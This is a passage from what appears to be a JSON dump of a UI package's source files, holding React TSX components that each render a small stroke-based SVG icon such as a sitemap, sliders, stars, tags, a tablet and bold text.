    "content": "import { SVGProps } from \"react\";\n\nexport function Sitemap(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.75,12.25v-1.5c0-1.105-.895-2-2-2H5.25c-1.105,0-2,.895-2,2v1.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"5.25\"\n          y2=\"12.25\"\n        />\n        <circle\n          cx=\"3.25\"\n          cy=\"14\"\n          fill=\"none\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14.75\"\n          cy=\"14\"\n          fill=\"none\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"14\"\n          fill=\"none\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"3.5\"\n          fill=\"none\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/sliders.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Sliders(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.25\"\n          x2=\"16.25\"\n          y1=\"5.25\"\n          y2=\"5.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"8.75\"\n          y1=\"5.25\"\n          y2=\"5.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.75\"\n          x2=\"1.75\"\n          y1=\"12.75\"\n          y2=\"12.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.25\"\n          x2=\"9.25\"\n          y1=\"12.75\"\n          y2=\"12.75\"\n        />\n        <circle\n          cx=\"11\"\n          cy=\"5.25\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"7\"\n          cy=\"12.75\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/sort-alpha-ascending.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SortAlphaAscending(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"10.5 6.25 13.25 3.5 16 6.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"7.357 7.5 5.275 2 4.702 2 2.621 7.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"2.832 10 7.145 10 2.832 15.5 7.145 15.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.25\"\n          x2=\"13.25\"\n          y1=\"3.5\"\n          y2=\"14\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.189\"\n          x2=\"6.789\"\n          y1=\"6\"\n          y2=\"6\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/sort-alpha-descending.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SortAlphaDescending(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"16 11.25 13.25 14 10.5 11.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"7.357 7.5 5.275 2 4.702 2 2.621 7.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"2.832 10 7.145 10 2.832 15.5 7.145 15.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.25\"\n          x2=\"13.25\"\n          y1=\"14\"\n          y2=\"3.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.189\"\n          x2=\"6.789\"\n          y1=\"6\"\n          y2=\"6\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/sparkle3.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Sparkle3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.658,2.99l-1.263-.421-.421-1.263c-.137-.408-.812-.408-.949,0l-.421,1.263-1.263,.421c-.204,.068-.342,.259-.342,.474s.138,.406,.342,.474l1.263,.421,.421,1.263c.068,.204,.26,.342,.475,.342s.406-.138,.475-.342l.421-1.263,1.263-.421c.204-.068,.342-.259,.342-.474s-.138-.406-.342-.474Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <polygon\n          fill=\"none\"\n          points=\"9.5 2.75 11.412 7.587 16.25 9.5 11.412 11.413 9.5 16.25 7.587 11.413 2.75 9.5 7.587 7.587 9.5 2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/square-chart.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SquareChart(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5.75\"\n          y1=\"8\"\n          y2=\"12.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"12.25\"\n          y1=\"10.25\"\n          y2=\"12.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"5.75\"\n          y2=\"12.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/square-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SquareCheck(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"16\"\n      width=\"16\"\n      viewBox=\"0 0 16 16\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M4.88867 8.00114C5.65578 8.77181 6.25489 9.66158 6.75534 10.634C7.91712 8.41981 9.36867 6.66425 11.1109 5.36914\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M11.7777 2.44531H4.22211C3.24027 2.44531 2.44434 3.24125 2.44434 4.22309V11.7786C2.44434 12.7605 3.24027 13.5564 4.22211 13.5564H11.7777C12.7595 13.5564 13.5554 12.7605 13.5554 11.7786V4.22309C13.5554 3.24125 12.7595 2.44531 11.7777 2.44531Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/square-layout-grid5.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SquareLayoutGrid5(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.25\"\n          x2=\"7.25\"\n          y1=\"2.75\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"2.75\"\n          y1=\"7.25\"\n          y2=\"7.25\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/square-layout-grid6.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SquareLayoutGrid6(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"2.75\"\n          y1=\"6.75\"\n          y2=\"6.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"2.75\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.25\"\n          x2=\"11.25\"\n          y1=\"15.25\"\n          y2=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.75\"\n          x2=\"6.75\"\n          y1=\"15.25\"\n          y2=\"2.75\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/square-user-sparkle2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SquareUserSparkle2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"7.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.126,15.25c.444-1.725,2.01-3,3.874-3s3.43,1.275,3.874,3\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.266,2.75H4.75c-1.105,0-2,.896-2,2V13.25c0,1.104,.895,2,2,2H13.25c1.105,0,2-.896,2-2V7.688\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M17.589,2.388l-1.515-.506-.505-1.515c-.164-.49-.975-.49-1.139,0l-.505,1.515-1.515,.506c-.245,.081-.41,.311-.41,.569s.165,.488,.41,.569l1.515,.506,.505,1.515c.082,.245,.312,.41,.57,.41s.487-.165,.57-.41l.505-1.515,1.515-.506c.245-.081,.41-.311,.41-.569s-.165-.487-.41-.569h0Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/square-xmark.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SquareXmark(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"11.75\"\n          y1=\"6.25\"\n          y2=\"11.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"6.25\"\n          y1=\"6.25\"\n          y2=\"11.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/star-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function StarFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.963,6.786c-.088-.271-.323-.469-.605-.51l-4.62-.671L9.672,1.418c-.252-.512-1.093-.512-1.345,0l-2.066,4.186-4.62,.671c-.282,.041-.517,.239-.605,.51-.088,.271-.015,.57,.19,.769l3.343,3.258-.79,4.601c-.048,.282,.067,.566,.298,.734,.231,.167,.538,.189,.79,.057l4.132-2.173,4.132,2.173c.11,.058,.229,.086,.349,.086,.155,0,.31-.048,.441-.143,.231-.168,.347-.452,.298-.734l-.79-4.601,3.343-3.258c.205-.199,.278-.498,.19-.769Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/star.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Star(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polygon\n          fill=\"none\"\n          points=\"9 1.75 11.24 6.289 16.25 7.017 12.625 10.551 13.481 15.54 9 13.185 4.519 15.54 5.375 10.551 1.75 7.017 6.76 6.289 9 1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/stars2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Stars2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"10.852 3.842 12.323 3.628 13.25 1.75 14.177 3.628 16.25 3.93 14.75 5.392 15.025 6.995\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"7.148 3.842 5.677 3.628 4.75 1.75 3.823 3.628 1.75 3.93 3.25 5.392 2.975 6.995\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polygon\n          fill=\"none\"\n          points=\"9 5.739 10.545 8.87 14 9.372 11.5 11.809 12.09 15.25 9 13.625 5.91 15.25 6.5 11.809 4 9.372 7.455 8.87 9 5.739\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/suitcase.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Suitcase(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.25,4.75V2.25c0-.552,.448-1,1-1h3.5c.552,0,1,.448,1,1v2.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"10.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"4.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/table-icon.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TableIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"6.75\"\n          y2=\"6.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5.75\"\n          y1=\"2.75\"\n          y2=\"15.25\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/table-rows2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TableRows2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"6.75\"\n          y2=\"6.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/tablet.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Tablet(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M7,14.25h-2.25c-1.105,0-2-.895-2-2V3.75c0-1.105,.895-2,2-2h6.5c1.105,0,2,.895,2,2v1.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"5.5\"\n          width=\"8.5\"\n          fill=\"none\"\n          rx=\"1.5\"\n          ry=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(24.5 -.5) rotate(90)\"\n          x=\"8.25\"\n          y=\"9.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/tag.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Tag(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.25,2.25h4.922c.53,0,1.039,.211,1.414,.586l5.75,5.75c.781,.781,.781,2.047,0,2.828l-3.922,3.922c-.781,.781-2.047,.781-2.828,0L2.836,9.586c-.375-.375-.586-.884-.586-1.414V3.25c0-.552,.448-1,1-1Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"6.25\"\n          cy=\"6.25\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/tags.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Tags(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,4.25H7.336c.265,0,.52,.105,.707,.293l5.793,5.793c.781,.781,.781,2.047,0,2.828l-3.172,3.172c-.781,.781-2.047,.781-2.828,0L2.043,10.543c-.188-.188-.293-.442-.293-.707V4.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M3.25,1.75v-.5h5.586c.265,0,.52,.105,.707,.293l5.793,5.793c.432,.432,.625,1.012,.579,1.577\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"5.25\"\n          cy=\"7.75\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/text-bold.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TextBold(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.75 2.25H10C11.795 2.25 13.25 3.71 13.25 5.5C13.25 7.29 11.795 8.75 10 8.75H6.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M6.75 8.75H10.75C12.683 8.75 14.25 10.3199 14.25 12.25C14.25 14.1801 12.683 15.75 10.75 15.75H6.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M6.75 15.75H4.75C4.198 15.75 3.75 15.3 3.75 14.75V3.25C3.75 2.7 4.198 2.25 4.75 2.25H6.75V15.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/text-italic.tsx",
